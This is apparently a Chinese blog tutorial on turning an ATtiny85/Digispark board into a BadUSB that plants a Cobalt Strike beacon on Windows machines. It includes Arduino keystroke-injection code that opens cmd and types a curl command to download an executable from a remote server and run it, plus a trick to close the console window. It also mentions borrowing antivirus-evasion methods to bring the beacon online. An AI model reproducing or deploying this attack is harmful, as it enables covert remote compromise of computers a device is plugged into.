致谢&参考
https://www.freebuf.com/articles/system/261020.html
https://blog.csdn.net/sxhexin/article/details/87914649
https://www.anquanke.com/post/id/227477
https://www.freebuf.com/articles/system/261020.html
Badusb 插入上线cobalt strike
准备工作
ATtiny85 开发板、arduino IDE下载https://www.arduino.cc/en/Main/Softwaredigispark。暂时先不要装驱动!!驱动有大坑。
看freeebuf里面的教程装完驱动,烧录完只能执行一次,需要更新下固件才可以重复使用,后面会提到。
环境配置
打开IDE,在文件->首选项中加入附加开发板管理,附加开发板管理网址处写
http://digistump.com/package_digistump_index.json
注意,这里需要翻墙,后面添加开发板下载相关配置时也需要翻墙,现在就翻着 别断了。
添加开发板
IDE中-工具-开发板管理,类型-contributed/贡献,选择
然后选安装(翻墙)
安装好后,选择这个16.5mhz的开发板。
更新 boot loader
更新 BootLoader的教程看 https://blog.csdn.net/sxhexin/article/details/87914649,这里不再赘述,跟着这个教程走没问题的,如果你之前有装相关驱动,请把驱动卸载干净!!!
更新BootLoader是因为避免踩烧录完只能运行一次的坑!!
BootLoader是大坑,一定要好好弄!
编写代码
有兴趣一步步走的可以写个测试代码 cmd弹个窗什么的,我这里一步到位,直接远程加载exe。
对于cs 可以生成powershell,然后cmd里面powershell加载调用直接上线。
使用CMD远程下载可执行文件
我选择用cmd的原因是因为 我还不会powershell免杀(2333)
所以 探索了下 如何类似Linux执行多条命令,发现在Windows cmd下是and符号&。
执行命令的代码框架如下:
#include "DigiKeyboard.h"//库文件
void setup() {
// setup函数只运行一次
DigiKeyboard.delay(2000);//等待两秒,给电脑自动加载配置时间
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//摁住WIN键
DigiKeyboard.delay(300);//等待300毫秒
DigiKeyboard.println("cmd");//输入CMD
DigiKeyboard.delay(300);
DigiKeyboard.println("curl http://12xxxx0/calc.exe > E:\calc.exe & E:\calc.exe");//执行PAYLOAD,双引号需要斜杠转义
}
void loop() {
}
注意,在最后一个注释处,是在前面语句打开cmd黑框的情况下,在cmd中输入的语句。两个反斜杠是为了转义。
我的思路是,将可执行exe文件上传至服务器,通过curl的方式下载并重定向至某个驱动器并执行。
我本来想放到C盘,但是放到C盘,有可能存在权限问题(放在C:\Windows\Temp)目录下也有些问题,于是放到了D/E盘。
将上述代码在IDE中输入后ctrl+u上传,然后插入attiny85
一定是先拔出来,出现这个 60seconds的时候插进去,出现下面这一串代表写入成功 并且会自动执行一次。
然后拔出来 再插进去的时候 就有弹计算器的效果了。(小思考,如何在执行完exe后自动关闭cmd黑框?)
效果如下:
CMD上线CS
嫖来了大佬的免杀方法2333 试一下exe上线cs
小思考的答案是:命令后跟& exit;